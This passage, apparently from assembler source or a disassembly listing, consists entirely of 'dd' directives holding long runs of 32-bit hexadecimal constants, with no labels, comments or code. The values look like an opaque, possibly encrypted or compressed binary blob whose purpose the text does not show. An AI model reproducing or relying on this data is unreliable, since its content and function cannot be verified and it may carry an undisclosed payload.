8778E458h, 0C45A7925h dd 0CED90E14h, 48EB2ECFh, 8D5D6402h, 0DAA5EC82h, 0D6806460h dd 86E97F13h, 88C04827h, 4A67C2Ah, 5D10351h, 715480E0h dd 64285CADh, 611254A5h, 1BACB6A9h, 0D32A7B1Fh, 0B8D424B5h dd 0FDB482B4h, 1D9E8419h, 0DC00A4B2h, 809BB6A3h, 0A8796EBEh dd 0FBB7170Fh, 65055C9Fh, 0B837FF05h, 0CDAD9CA0h, 0FEE100F5h dd 4A3052A6h, 0AE02C611h, 5E2B32EBh, 0AD3440C5h, 3C169531h dd 2398E00h, 0FAD0B885h, 0E4C148ADh, 41283B22h, 301358EEh dd 0C8882FCAh, 9CE75C70h, 37FF0F08h, 67B1EC81h, 8EC453FDh dd 45A7061Dh, 0C8FF72DFh, 10882095h, 23D1B9h, 42568CB6h dd 0D778744h, 0F0973E6h, 70059E54h, 3AD23970h, 887800FFh dd 0BDB02F07h, 45E4D0E7h, 0AD8BA9A0h, 6D14EC03h, 0A8E63F5Ah dd 287FF36h, 3213FE82h, 80596FAAh, 0D3B76100h, 120AAF89h dd 0B12F68E2h, 0B1900030h, 4D01FC9Fh, 2B1D32B0h, 1C32A364h dd 88F02Ch, 0D3722FA5h, 1D152CEEh, 28C238Ch, 0F5EDBEDBh dd 3544C0CFh, 975C79F1h, 63AFCA1h, 0BDC9E02Ch, 0AC704D5Bh dd 0B0DC7E76h, 24794F70h, 804CB83Ch, 27FE37D2h, 133E700Ah dd 243A910h, 0BC645114h, 8C8074D9h, 0A06DF95h, 52430466h dd 0B2C43038h, 0EFBD039Ch, 846D0EA8h, 120324C0h, 974228FBh dd 0FEFF2548h, 3C0540Ah, 64271B11h, 4F3CE28Dh, 0F8977023h dd 7B19CEBh, 421133F4h, 16479043h, 6CB0BF9Dh, 26355C00h dd 0E49E756Dh, 28489CF0h, 1D5F00B4h, 2A109271h, 1896320Fh dd 0C6503440h, 4C190046h, 0CE5A3C43h, 4F090117h, 4A189F7Eh dd 0F2E0E424h, 7312668h, 0B294039Fh, 2CF89DFCh, 48000CE6h dd 0B1DA8A87h, 7934E16Dh, 0D63029Fh, 0FE616A9Eh, 8088D041h dd 0C36EE91Eh, 0B006274Eh, 970CA0E8h, 0FD72047Fh, 0F4883037h dd 0C8C50204h, 0D0F2CE85h, 918C9201h, 72644869h, 0FD2C1764h dd 27177501h, 0F4D0992Eh, 0B0EA0188h, 78A3FB5h, 5700203Eh dd 156B1C00h, 0A6C17C6Dh, 45B8A1E6h, 3C0709h, 2FF31971h dd 20B6652Fh, 6487C5F0h, 20475B69h, 74D27628h, 8CE38h dd 19231B55h, 7CC6682h, 2215B0E1h, 4409AB61h, 8A73C80h dd 0F0C20F3Bh, 54F1878Ah, 33EF4074h, 0F500E0DFh, 10BF86FCh dd 4CEAAh, 0F4AD621Fh, 6E7231F2h, 472C2500h, 44CC1297h dd 87941554h, 7E80EC81h, 0ADB24167h, 653A8001h, 9F77F266h dd 31AFCAD4h, 8780B8F4h, 8CA0F69Eh, 2F53A185h, 264808B8h dd 5CAC0F48h, 483013C1h, 0E74029Eh, 0BEB4A7A5h, 0F96A020h dd 455BBA65h, 52E1E822h, 1AF403F0h, 185FF9D0h, 685C8F82h dd 0A96A1584h, 0BF018E80h, 0C2D89066h, 13940F90h, 0ADE0B8C6h dd 5CC228B6h, 9CD45EB6h, 25E4E418h, 610CECE4h, 21625794h dd 0C7440129h, 0C62EEA6Ah, 0C982F87Ch, 0B65F430Bh, 0B1548560h dd 69F82099h, 0B8909DA8h, 8EECD9E1h, 80FE6B3Dh, 2869C2B8h dd 0E89FB6A4h, 2C312512h, 8F0FC0C4h, 4E64208Dh, 7335A73Bh dd 6E1071B0h, 14831317h dd 1B4B2E6h, 7985D0FBh, 95E80108h, 0AAB400E8h, 752C0462h dd 0FA01BC0Dh, 0A79E0AD1h, 0EC707FE4h, 2ED50072h, 6B52F30Eh dd 604A6F73h, 7A138C8h, 25024663h, 923142C7h, 0D40A207Ah dd 0B02D88F9h, 6327023Ah, 845B9E64h, 0D0A8B87Ch, 0BC803088h dd 0B30EDA5Fh, 426600B4h, 631E02F4h, 0B98C015h, 79E00C48h dd 0C15D8813h, 0D030A425h, 0B6809F5h, 0B85CE157h, 0EC18B412h dd 45F8EAC6h, 82E20938h, 7AC0E0E7h, 5D3CC134h, 387C06F1h dd 2DC8173Dh, 0E19E9F0Ah, 32AC1F8Ch, 707CC854h, 0B6894F00h dd 22098C06h, 90003D8Fh, 435E704Ch, 9E4FFF4h, 355F76EDh dd 41877401h, 801828F1h, 99864C0Fh, 40680965h, 2838B05Ch dd 0C18AE642h, 9C505CDCh, 0C4F480h, 0A48258F3h, 61921DEh dd 0E71D6000h, 70A4D11h, 127D7394h, 80013104h, 0E73E0C14h dd 84C88F4Ah, 847BCEh, 961C4206h, 3408F06Ah, 69581630h dd 7E8470Dh, 0A9F9204Dh, 96F330C5h, 260171F1h, 37AC7C70h dd 0B4691768h, 1A25970Bh, 7AE96A80h, 3102C930h, 0BBF31EBAh dd 4CCC760Eh, 0F7025A26h, 38C0743h, 0B81EC062h, 4698006Fh dd 0D7C87BCh, 17094C01h, 0A0FA272Eh, 1F602FD0h, 2248039Eh dd 0A0680767h, 4B188085h, 18B52C4Eh, 9F093E14h, 222EA490h dd 6EEC031Ch, 85EE09h, 0E7FBA3AAh, 0AF640997h, 3498E242h dd 0B03C969h, 3A71B710h, 18D7E893h, 0A3B90060h, 6D2E3BAEh dd 5C2DD5B4h, 0A09CACB3h, 275D00E6h, 50BE2E3Ah, 4D07999Fh dd 411271A4h, 0ACE078D4h, 30AC26A0h, 69ED0238h, 78638F89h dd 29B79E1h, 35012324h, 2086ADEBh, 40FEB725h, 0B284BCC8h dd 23324EDCh, 58169F8h, 0F9D0E759h, 0D707EB16h, 0EA08CF86h dd 87309B40h, 164CB8A7h, 82EC002h, 618B493Ch, 947049B4h dd 1BEEC60h, 78186DB5h, 301E3B76h, 101D28CCh, 0E94752CFh dd 5C0560C1h, 0A3651C45h, 0D02C8CA2h, 5B5A115Ch, 8E452420h dd 97AC18DCh, 0E524B239h, 0DFA76800h, 0E0762934h, 7B2613F1h dd 2C901306h, 8004E88Ch, 35BA93B0h, 300F70E2h, 604F13CEh dd 0B3583123h, 27420BC0h, 90A86BECh, 5709E17Ah, 802883AFh dd 0F0ACE4B5h, 0FE1A14BAh, 0B00506Ah, 2E26685Eh, 30C0A9Dh dd 0E6B5E021h, 0A4C50214h, 0A637D86Bh, 0A78F5056h, 0A894B7h dd 0B6EC650Dh, 12C27DEEh, 373AB5h, 0AE68BF04h, 0A74ECCD1h dd 0F2A60C8h, 360EE0F7h, 72CD2787h, 0C055D6A4h, 17D7829Dh dd 61B865D1h, 7CBF1EF8h, 0BC772864h, 269DCB4h, 291EEC14h dd 0C957C984h, 0E430F98Ch, 0A807606Bh, 65192886h, 2E62482Ch dd 0C030CE1Ah, 0BD6460CAh, 87000C91h, 283AE688h, 0FF2706CEh dd 2E1B6DE9h, 700075Ch, 0EC585B8Bh, 837468DBh, 0C6B2007Ch dd 3B91A2B1h, 9F076E96h, 6CE38184h, 58B00835h, 3194133Ch dd 0FF20D08Dh, 17332732h, 460FBDh, 7ECCD919h, 859DE928h dd 0F5A02F00h, 0CEE87454h, 0BB5B3820h, 6427040Fh, 0D1327222h dd 110004C6h, 0B66284C0h, 4747D92h, 3379EDBh, 79CED17h dd 56D6BDB8h, 0B0EB6FB0h, 7FA700E4h, 3F088BFDh, 0F0FFA19Eh dd 435B7A1Ch, 84A81C24h, 0D9D28D82h, 0D8385760h, 0E20F05EEh dd 96806164h, 0C66AB830h, 6C7046h, 411C7EA2h, 89F26E82h dd 0C4C4CC24h, 0EF7E87C0h, 0EB790998h, 0FC006FF9h, 0A0D361B4h dd 9E2AD272h, 8C392C19h, 93B2006Fh, 0A35B6805h, 178500CAh dd 69E51F43h, 710220F3h, 65C01238h, 0CC8593Ch, 9F3A46EBh dd 0B6646A12h, 0D1E5DC27h, 0A3AE3040h, 95DA8Ah, 22A7C31Eh dd 0E6DEE2B4h, 0E8E49800h, 0D66C027h, 0DD1CC09Eh, 97426BB6h dd 6451406Bh, 6D790704h, 5068B08Fh, 0A1272177h, 7F6F9400h dd 45D09D75h, 987CFC6Ch, 1F1720E0h, 0A0673501h, 0FFCF388Dh dd 553C406Bh, 69AAF34Dh, 0EB3D102h, 0D2164939h, 20B4000Ch dd 0DEBE01EBh, 69055D7Dh, 0B59D56ADh, 9F5E2080h, 415F0093h dd 672CA2D5h, 0C02EAC53h, 38C01Eh, 95469A9Eh, 72AF6E60h dd 0E33B1284h, 3F90F20Ch, 9FE438FCh, 13B99FC6h, 54083FA2h dd 2CF8A612h, 53BA6034h, 5401D974h, 3A0EC9A8h, 0BF602DC5h dd 3CBE0B4Ch, 74597132h, 517D3300h, 2EB3EEC6h, 7F72C5Dh dd 5211267Bh, 0D4845CBDh, 0B8A45D5Eh, 10382C40h, 0EA8F00E0h dd 7FAB51B3h, 0A00C126Ah, 0F831D32Ah, 2A80378h, 7A27670Ah dd 52870590h, 9200DB7Ah, 0C0B0AD85h, 99B7647Eh, 0BE5760D8h dd 6E0022AEh, 48028ED2h, 0C1231Eh, 0BC7B55E3h, 0A7CD661Ah dd 9A560900h, 77413B3h, 4BB94A5Ch, 70443464h, 35638600h dd 0B8C65915h, 0A95C0EFEh, 0C185FFB9h, 6718007Bh, 0E22DAD3Eh dd 251018B5h, 4CAA0623h, 0D2E83AC6h, 0C715BC02h, 0C01E38D6h dd 0E0896138h, 38175034h, 2FF80343h, 72C1ADF2h, 0B4AF1A98h dd 22149E4Dh, 1DDEE234h, 98EE6Bh, 23ABD616h, 0FB00EA30h dd 53DB699h, 2FB2BA8Eh, 0D444C031h, 0E49C5202h, 60789406h dd 2D660A04h, 24C4A3F8h, 685A9600h, 916385Eh, 0E89817A5h dd 0F5B5043Ch, 8434AC07h, 80EE6A11h, 9349F628h, 0BC85FD07h dd 7E64F319h, 149953C0h, 0FAB52603h, 263911F4h, 23F10EEh dd 6508BC38h, 0E444BAh, 3188BD2Ch, 4E0E7851h, 0F04B348h dd 60562B60h, 3658FF9Fh, 89392530h, 3C516062h, 0E3F58600h dd 78005D9h, 5678EC3Eh, 338EE06Eh, 0ED00B1E8h, 4D8792ACh dd 48D5D31Bh, 89C0F436h, 7C31600Bh, 0CBA2C402h, 0C0924DCAh dd 7C5D363Fh, 0FB080397h, 7FB05CC2h, 18C8714Bh, 0F2B7018Eh dd 3DE5A566h, 72372054h, 0CF221A24h, 1115043Ah, 9CB849D2h dd 0EDF14181h, 70AEE9FCh, 6164CA8h, 0BC052389h, 90010AA5h dd 410805A7h, 2346070h, 770669B7h, 14D1460Ch, 8049BE3Dh dd 0F103B481h, 7711929h, 0F94A6CD6h, 42170132h, 4B062EDh dd 1CD131F4h, 0F0206C8Ch, 0C37103BEh, 5C0C72DAh, 30CA2BCh dd 1E59D56Fh, 621822E9h, 0E8474896h, 55865060h, 2947C29h dd 1A5F01A0h, 0E879C030h, 92FB7E30h, 489E013Ah, 0BCA2AB88h dd 60412A57h, 9175E93Ch, 5C307BC4h, 8C1F2B78h, 0D5B640A4h dd 5B653564h, 0E216601Fh, 0F25FD981h, 0C864D0D4h, 314D2F56h dd 710020C4h, 3BEE5727h, 292089E6h, 24D4E242h, 0D88460B8h dd 73009986h, 4CE523FFh, 17E07755h, 134D005h, 0FE15BE18h dd 20409127h, 0D7949F1Eh, 38BC0837h, 0D2B2A780h, 167E50D7h dd 29DB539h, 3ECF9AA4h, 4212F4E6h, 0FF00136Dh, 3C7C63DEh dd 471C17ACh, 7A680B16h, 30051C5Bh, 0CBC5F51h, 195B3AC0h dd 0A80105BFh, 0AEC44585h, 0B476A064h, 0A1CDA408h, 4FC0A947h dd 29F9D440h, 3C86A62h, 72ACB281h, 95BDFEE8h, 3CA1AA26h dd 4CA38660h, 42340427h, 0F9FF561Bh, 0C18800F0h, 0D45B3762h dd 0C46E1DB2h, 1D520090h, 7DABC93Fh, 0C13B8F30h, 59FDF4h dd 0A1BEF20h, 0ADDEE755h, 61243D0Bh, 499410B5h, 0AC059D06h dd 0A2D0C710h, 5480FF22h, 1BFA5F7Bh, 4420E42Dh, 6B9F00FCh dd 39FD559Ah, 99725B26h, 4244A00h, 0DE3FE685h, 5EF704A5h dd 0C00ACA4Ch, 8CBFB0B0h, 20EFFA00h, 0D47892EEh, 5C5E7D93h dd 692E2349h, 0E7890504h, 0D98801E6h, 0E4872DF9h, 1A240944h dd 77408857h, 10BECBh, 6F34F2EFh, 0B85CF436h, 249C20D2h dd 88094E2Fh, 8800F318h, 0F360B7Bh, 147822A0h, 0BCE538B5h dd 0C8C5BDC0h, 0A3005DDEh, 0D1158A71h, 342F51h, 2A5CE269h dd 36670D64h, 44277725h dd 0EB7C0128h, 0CA31DDB3h, 436FF40Dh, 48D5EE07h, 2C0115BDh dd 329042h, 98B51Eh, 68222D55h, 272D263Fh, 344467h, 163CCEA4h dd 0EDEE8DFAh, 730E0500h, 0C0E1592Eh, 0FF4B77h, 4112D9F8h dd 0EF893A93h, 2E6DC4Ch, 0D9F4BD6Fh, 0E4C8053Ch, 0CD587177h dd 0EF66C030h, 0AC1801h, 8741D522h, 0F6C811B4h, 8CCFC508h dd 10CC8038h, 7F01F99Dh, 98FE0729h, 219EE280h, 3045432Dh dd 7569FAB2h, 0E1CA84Eh, 91B2CA30h, 0F5C84063h, 0AAA0A02Bh dd 0FF372E95h, 0F87960CCh, 49F021B1h, 2342F58h, 5849F35h dd 1CF4C837h, 808491FFh, 0C001C120h, 0DE1DEF5Bh, 0E992A992h dd 0EE30F101h, 3881BF5Eh, 0E369D92Fh, 9F2830E8h, 1AB6971Fh dd 0ECC81912h, 64E6078Bh, 0CF024B14h, 2CDF29E0h, 0BC2435C1h dd 8709449Ah, 7A78A00Fh, 9920EA43h, 647F8410h, 0BF00D89Eh dd 9FA45B0Bh, 4D9081DEh, 10385934h, 78C09E8Eh, 0A156E9DBh dd 0C293BD07h, 710035FFh, 18F2171Ch, 70FDD906h, 0CC9028D6h dd 1E5C7530h, 0FCE3A79Eh, 0D4580095h, 679A8097h, 89016964h dd 27D687AFh, 92C0C9BEh, 2A68EA52h, 12F72ABAh, 307DE6D0h dd 9FED2710h, 0CF171201h, 0A6775102h, 0B4BABC70h, 0B0896520h dd 2202B1B4h, 46510134h, 20DC746Ch, 64F8F1F0h, 2B891A5h dd 2076BD61h, 0DE90180Bh, 0CF2700F7h, 0D1C796F5h, 1E007169h dd 67943FA9h, 29F5A80h, 9BA07F32h, 80528673h, 0F1077670h dd 53594BF9h, 47C0CFBFh, 65429051h, 0C0DCD664h, 5848528Ch dd 10D82095h, 77183D0h, 0D924D1A2h, 90B8756h, 5F18D471h dd 0BF1FE0h, 26DCFD08h, 0B9021985h, 97922212h, 62DABA1Ah dd 507056A4h, 8E0BDFE6h, 9E9766ABh, 0C8FF4FD4h, 701EEA98h dd 10C72811h, 0ECC0502Fh, 13089291h, 90C63169h, 0FF76A364h dd 14C80F5Bh, 133F70CDh, 1506E89h, 0C58CF55Ah, 98A82086h dd 0C0CC1095h, 9DBA02B6h, 0BFCB60C7h, 7A057CDEh, 8CE01FFAh dd 7EC02615h, 6B8502B4h, 0D3E06968h, 18016036h, 5C9B9520h dd 51937AB9h, 1214208Ch, 7D00A47Ch, 0BD2DAB1Ah, 2C770AEEh dd 7FCAC7h, 0A8E92635h, 225F55F3h, 8B1AD80Eh, 808844EAh dd 4AEBCEF0h, 806C80C3h, 3B1285AFh, 6CA8B861h, 52D998C0h dd 423ECB5Bh, 3A405193h, 156F8C01h, 40AF51A9h, 29096864h dd 80BB6D77h, 0FFF9653Eh, 49071F0Dh, 1FF70089h, 83392870h dd 40441890h, 90B74F61h, 50EB567Ch, 0E82DA726h, 7EB4D860h dd 90D91E45h, 8DC9439Dh, 64A039C2h, 0E09C1636h, 37792285h dd 0C2F9C80h, 0A7052ED5h, 0C1B560CCh, 2C04D485h, 8C7B9F5h dd 5C5C08Ch, 0CD517DF1h, 84E2BBh, 0AA865DEh, 0EC384D34h dd 48C63A36h, 8B07319Eh, 0D8983226h, 74004F41h, 8B11CDE3h dd 1FE9DCA7h, 0D7CBE7BBh, 5048A3D8h, 0ECA4B2ECh, 340D8BCh dd 0F11A276h, 18FF38D4h, 0E2DFD6C0h, 3701D9D8h, 8592F06Bh dd 0C07AE5AEh, 0C3979E2Eh, 0CDFFF30Eh, 7213CF64h, 227BC0Fh dd 0E3F40CC6h, 4C0788D8h, 50A3127Dh, 0A0E263h, 0FD427C7Ah dd 0B88E017Bh, 6C2545E8h, 10352F30h, 0CE451Ch, 38F7A854h dd 7F499DD3h, 67691E13h, 70DEA0Bh, 209C2CFh, 66955F3Ch dd 17CB5CB0h, 538B1900h, 7513EE96h, 0C5D4D600h, 0D7AD294Ch dd 33FA0418h, 0E27A43D0h, 12830010h, 6B969A58h, 0CC75038Dh dd 0A0A443B7h, 2E46E688h, 54806899h, 0F399BA3Bh, 0BE37248Eh dd 0E5D00133h, 0E419A4D4h, 42C902Ah, 78020068h, 0D12C1D85h dd 2F8101A8h, 84F73C77h, 0E8A1C604h, 370064A2h, 0B4F3B6D7h dd 8B0C9C8Eh, 480149BAh, 90FAE6C2h, 3F35458Ch, 772C5020h dd 25D8007Eh, 2A42B4BDh, 347A6A7Fh, 89F91102h, 611F715Dh dd 5103764h, 68F87997h, 50993351h, 0EC6DE9B0h, 0B0225900h dd 9BB47288h, 87073D36h, 61D05730h, 7CF03F8Bh, 0EC884C5Fh dd 2B250F16h, 4B608C75h, 50F43F60h, 711EEB02h, 41954FDBh dd 4420EEFCh, 0FE348861h, 7DA3311Ch, 0F8CCDFD7h, 1E70B881h dd 50D6B5h, 54CED69h, 3412FF35h, 8470C73Ah, 68B9A9h, 0CE779DDEh dd 8DC47F1Eh, 0E12CDB7Eh, 800560BBh, 28C1A998h, 72B7A4Dh dd 8E2FE8h, 0BD5B7687h, 34C2A25Ah, 88946095h, 403894FBh dd 9D14312Ah, 98928631h, 0D1DC35A7h, 0EE0F78F9h, 0FAA42CACh dd 0D3A60930h, 5226F466h, 0F912749Dh, 804064B8h, 1BD2DA9h dd 84805090h, 0ADEAA807h, 55C04151h, 14E0770h, 0BA2B74DCh dd 7D2820EEh, 0CDA1C0ECh, 611BC0Ah, 64A0BFBEh, 5216D89Ch dd 2808DA30h, 905A970Eh, 0DE07B1F0h, 9A190D00h, 9B8ECE7Eh dd 0D2F009h, 5993B64h, 0BCBE2D39h, 0F007084Bh, 2F849D5h dd 31D64389h, 0CF40E85Eh, 4CB6737h, 6A45E7ECh, 0F07A403Ah dd 2F9ED3DBh, 3C81656Bh, 485A68E1h, 0EF03AFD8h, 0D8C104C7h dd 56E5E89Bh, 58AB0F9Ch, 6F7F22Ah, 0D02B15A1h, 9F85893Fh dd 61185C2Ch, 0C328F941h, 23A18158h, 0E09ABEE1h, 262DF071h dd 0E51468FFh, 0CEF80062h, 734AD513h, 4005E8Ch, 0B59D2448h dd 1B7525Fh, 0B6A72F2Ch, 213044B8h, 4F6EE00h, 0C4A9BF40h dd 728709B2h, 0E0507B5Fh, 4D28CE63h, 0D51F99D9h, 22E9420h dd 4E2842DAh, 988B055Eh, 0DF4D103h, 5087A800h, 30376731h dd 0B8AA958Eh, 0B2EF6330h, 7EA879C0h, 0F6EE90Fh, 1FBE644Fh dd 0D3808CA8h, 26F6DDEh, 0FC777100h, 6AA3650Ah, 645634A6h dd 2F90F890h, 51B480F7h, 0E3265D0Bh, 0E11C207Fh, 0E4009EE5h dd 0A84BF4B1h, 21202B5h, 5C939892h, 34226ABDh, 4CFC7830h dd 5766D9Eh, 0F9046E63h, 2D78EC5Fh, 0C86472h, 3318207Dh dd 0C132AC98h, 76AEA903h, 0C908B790h, 0F316D59h, 9C00BC32h dd 8F91EF27h, 9709C358h, 81CB7431h, 0EAFE7E2Ch, 1678206Bh dd 0ED0B1A05h, 859904C2h, 1494245Bh, 0D70094A2h, 0D1F07523h dd 9A008B96h, 0B0F749B5h, 0E6AA773h, 6751314Ah, 8B3276Eh dd 9E80229Ch, 0C123D54Dh, 0B9BE2506h, 9509040h, 0CCA295Ah dd 6CD1FFC9h, 0A42C8800h, 0E04E6D22h, 0D1D91F37h, 764F8399h dd 55C01C15h, 6BF7E411h, 3930CC20h, 0D7D40404h, 0C03868B5h dd 5D3A4FF0h, 84FC2751h, 3B434D10h, 416816AFh, 5CE37DB0h dd 30208471h, 0C4B212FFh, 29E9E100h, 60419AC7h, 31407F61h dd 336044DDh, 0F24300FFh, 7E73E75Ch, 0F4BFE25h, 358078A3h dd 7BC42F02h, 4E8C4307h, 7A80B4DEh, 61F79DCAh, 671E8076h dd 0FE32CC53h, 3009B0DEh, 0F2F46BDFh, 0E4C60Eh, 8E934AEAh dd 0E281132Ah, 6E49E71Fh, 56BC74C0h, 121EC663h, 218831B7h dd 39E84128h, 38275ED8h, 565B9750h, 36812DCEh, 93007844h dd 6820B1B8h, 1FDA9EFAh, 405BC585h, 0C262A713h, 642F67D6h dd 509090A3h, 74BB099Fh, 4C183416h, 380136EDh, 0CC11D0C7h dd 93ED5D25h, 0E1CB6F01h, 0E0882B27h, 4B6004Eh, 0AB3C5266h dd 2200F508h, 0C95B23DBh, 12E3400Ch, 85B9217Eh, 65DC80D0h dd 0F071A96h, 350A1933h, 8C838209h, 6BC0FF63h, 0D316F47Dh dd 0C000F86Dh, 0BA5C1081h, 4480BC74h, 0A4D7405Dh, 7B86DB4h dd 0E091519Dh, 0C0F2350Fh, 0CF9B6032h, 0CA646B3Fh, 0BA7A4C8h dd 13FA2DFFh, 0A33E18C4h, 0F67D00CEh, 0A463B69Bh, 97700040h dd 0C68601B9h, 30BCBA34h, 69AFD660h, 41C701E0h, 0DA964449h dd 957CF42Ah, 8161CA1Fh, 0F051AB0Bh, 0E8B051F4h, 0C61C283Eh dd 7ED92B00h, 0A27115F1h, 4C020963h, 0D40081E3h, 35011B2Dh dd 0F40FBF24h, 22867504h, 0C3298F40h, 0EA014388h, 4272A1B0h dd 4230151h, 5C358E0Bh, 88FDFE80h, 770043E7h, 55289ADAh dd 2450FF7Bh, 4F78EA41h, 0F419FA09h, 29A06A53h, 0FAC998DDh dd 127BE866h, 88FE3ADBh, 13001610h, 0BD65A8CFh, 902156C6h dd 187204AFh, 0FC0E6D5Fh, 65240170h, 33C4303Ch, 80608015h dd 2094D2D5h, 7FF4C240h, 3BDF0050h, 3F075BBCh, 0C7009EE3h dd 0A7256B2Bh, 9A396F11h, 0DA142F04h, 7400C8C4h, 7E0BE647h dd 162E3577h, 629BEh, 3AD5AA1Ch, 0E22FBACCh, 94F4C1EBh dd 7D16C0D2h, 0B60E812h, 0FE0EDB99h, 0E775C485h, 8B7826A0h dd 0E44AD400h, 687307h, 0C1D05D79h, 0EA8B46C7h, 8EB0BE00h dd 2366E53h, 4A089806h, 6968C887h, 0CF7C9900h, 3E41ED7Dh dd 0D4C00E9h, 0EE31F360h, 0FC00E88Ah, 56873903h, 0E71E4806h dd 3F8C203Fh, 0B209A6E1h, 0D1D1FBE8h, 6CE50034h, 0E2463E52h dd 3A901801h, 39EB42AFh, 87E848h, 9FB6A64Bh, 0C05843D0h dd 0A0648613h, 0AE2F90B3h, 0AA78FC10h, 3C8F0F3Fh, 0AB8A02E6h dd 5CB9BF46h, 6EF141B0h, 730C8029h, 91199AE0h, 0A4B81FCCh dd 0E8EE16h, 0D8B368A5h, 923893D1h, 2389A67Ah, 9588F90Ah dd 0C009AF1Ch, 68E481h, 6F2E3CA5h, 7AA67FA8h, 6F42EDF3h dd 25556060h, 9CCBEB6h, 1484C53Eh, 0AE0480A3h, 40580DC7h dd 7F038F4h, 0E2B23B52h, 0D91460EFh, 158697h, 0E35338AAh dd 0CEC857B0h, 90369F2Dh, 7940BDCh, 97833DE2h, 0E992A177h dd 65DC407Ch, 1D09D011h, 0C4189FB7h, 88900054h, 0BCF7150Dh dd 459DC931h, 40241DECh, 33CBE3Fh, 0E7E6AF1Ah, 4729600h dd 0B35A1289h, 0B01501A6h, 8C390B5h, 80B43849h, 0B614CABh dd 5E4B0127h, 0CA9325A6h, 3957DD6Ah, 4E86001Ch, 7F7F63Ch dd 30A0950h, 0A47E6153h, 2E001311h, 1096B772h, 2B0084B0h dd 2717FE8Eh, 17126692h, 3D7B26h, 2A40F8CCh, 0B2005E68h dd 72FE4B8Bh, 0F19FA723h, 900CA470h, 303C442Ch, 0A0208D5Fh dd 2CCFDFA5h, 30C7C8Fh, 276E5976h, 0E3A4B590h, 580EDE2Ch dd 1ED52E60h, 0D99B28E0h, 80F2ED8h, 3F5820D9h, 0F9FA9F1Ch dd 0F0333CC1h, 0A422AC03h, 49A0421Dh, 72010B79h, 0BE469153h dd 0BB406BC4h, 7510137h, 649F084Dh, 0DCDC8906h, 5357AA61h dd 4FE6CBE0h, 4DF08826h, 87FAE300h, 344E30C6h, 0AA84120Ah dd 8AB480FEh, 0EE9D1A78h, 42432424h, 0B829062Ch, 0F40228DEh dd 0C93011E7h, 0BD2535h, 0E163A19Fh, 1167E3Fh, 4020B765h dd 1554216h, 4FB85186h, 0EC68BF5Eh, 2091644Dh, 0E19A1683h dd 0D27ED8C9h, 0AF9B049Ch, 0C00A2149h, 57DAC3ADh, 0FF47098h dd 162B1A05h, 2047FB12h, 0E8F0FD39h, 37D62Dh, 0CE43A478h dd 185B45B2h, 6448F009h, 47B8686Ah, 0E0A37D77h, 0CEBB008Dh dd 0F2DA020Ah, 4026396h, 344C9713h, 68105531h, 20EC9B5h dd 286A7DB3h, 0C0809F42h, 0F7B758CBh, 0C8009995h, 8D272E8h dd 4C349D29h, 11C16045h, 0C0EB9FA9h, 0F50AB37Eh, 8C416F66h dd 7288C00Eh, 0AA00E4B2h, 9D8F7540h, 540E6547h, 0ECF0AF9h dd 85E1C03Fh, 9564AC13h, 33C8864h, 0E9F081BDh, 1A39A872h dd 0C1808C38h, 248F1EC9h, 0F1E20300h, 0AB3C407h, 542D251Dh dd 0F0E47491h, 0A000E6C0h, 4952D8CCh, 968AFBCh, 0B65CC25Ah dd 24011452h, 7C9D4801h, 0D8C3612Ch, 229820h, 82D53A54h dd 7784435Ch, 0BA41FC03h, 0C815F7C7h, 38E028B0h, 0FE07D376h dd 8057217Ah, 0C62C7B29h, 0A6398667h, 0D26CE600h, 0FE1A0024h dd 0FC1729C4h, 0D000C22Eh, 428F2C15h, 10B5DD8Bh, 8459CEh dd 0F9097860h, 1D48BA5Dh, 0DDB65A14h, 0DAE40FF1h, 0B37A6800h dd 8F60E02Ch, 2DC19669h, 1CA75A9h, 0A1482577h, 80E93A7Fh dd 0DD22B121h, 180E2Ch, 0CCDB97EFh, 6B4910EAh, 5235DC00h dd 53D81E20h, 55C80C78h, 54F98341h, 92296F03h, 0A9C24250h dd 9440CEE4h, 9ECD9BDh, 0E043B60Fh, 931DF180h, 253008D4h dd 0A9DFC844h, 912000F5h, 59FF73B3h, 830E954h, 0C72D212Eh dd 4A1C180h, 0C2545DA5h, 21243C80h, 0FF38D285h, 9A9C01C7h dd 0AE1A4B74h, 4AEDCEC9h, 985561F1h, 0B0E82404h, 18A290C0h dd 1E0F0B06h, 0CD03894Bh, 0B2C0CFDEh, 4806260Eh, 0CDC72CAFh dd 8A47B79h, 7F6955F1h, 547C1F82h, 1A44A042h, 329ACD2h dd 92BA33B1h, 79585BA0h, 87F9382Ah, 90ADB226h, 45EFB680h dd 1F0C00E0h, 0B8B1544Bh, 7700C246h, 0F94D6ACBh, 0C358CEB7h dd 0DB45741h, 170651E0h, 3999B201h, 0F523929Ch, 0B589F0h dd 55E6DFD8h, 47CEB0D9h, 4E7139C0h, 0F8DBE525h, 0FD11C5Dh dd 0C3033AFFh, 0B91CCE4Dh, 55269598h, 0C9CA94E0h, 0AD41BCAAh dd 7F1B23h, 41BE77ACh, 0CFA7FC2h, 58E5A900h, 2D44F50h dd 22D4A427h, 0A40085DEh, 70E04220h, 0C360B192h, 894D5491h dd 0DC916911h, 0E211187Ch, 28321988h, 0E6496F00h, 39AF0D10h dd 7FF8A177h, 0EF550210h, 2AA79018h, 1C1BF041h, 0C0D9EEA5h dd 945FA6B9h, 0C0016D75h, 0CBF5B826h, 0E3D19D2Bh, 0A67E9040h dd 0B41700B1h, 0D648B561h, 1A002557h, 76749DDAh, 18851E29h dd 612BAADEh, 4C00BD6Fh, 731030BBh, 0FFEFC0h, 0AFAD7F60h dd 115008B3h, 806CF328h, 6043C145h, 7D00A45Fh, 6C2FB225h dd 1E761207h, 0F8802D72h, 24A88161h, 1105A0Dh, 0E213F6C1h dd 8EE99E87h, 0D96A8040h, 0B83E1Ch, 71C27F1Dh, 8FA424FBh dd 0A1C0A774h, 0C6EF0549h, 3FA8090Dh, 1092C750h, 23C4407Fh dd 6AFA00B2h, 8E7596FEh, 0ED00193Ch, 0D87B8C48h, 603A772Dh dd 0FD47B9D4h, 7D001FC9h, 0AEA1410Ch, 5E9142Ch, 0C2441395h dd 0CD1E801Dh, 0DF0529ABh, 7FDDD39Ah, 1BD8A003h, 0F4C80F4Ah dd 5760D923h, 68B89FC2h, 497A30A8h, 9792DF00h, 0D221C63Fh dd 0F75D0206h, 247B45DBh, 0E05C9440h, 121F7F07h, 882AE284h dd 0FDCF1483h, 2346C966h, 1218C030h, 20A77436h, 0D3A06440h dd 35DBA04h, 0B0C22F07h, 20B9208Fh, 9B60C92Dh, 0EEC2A611h dd 92721263h, 41B424DBh, 0AE0E6254h, 4B9F87Ch, 0A7813100h dd 0C4994D08h, 0C08B00A3h, 0B16B1451h, 8D002C0Ah, 294B5987h dd 7481C261h, 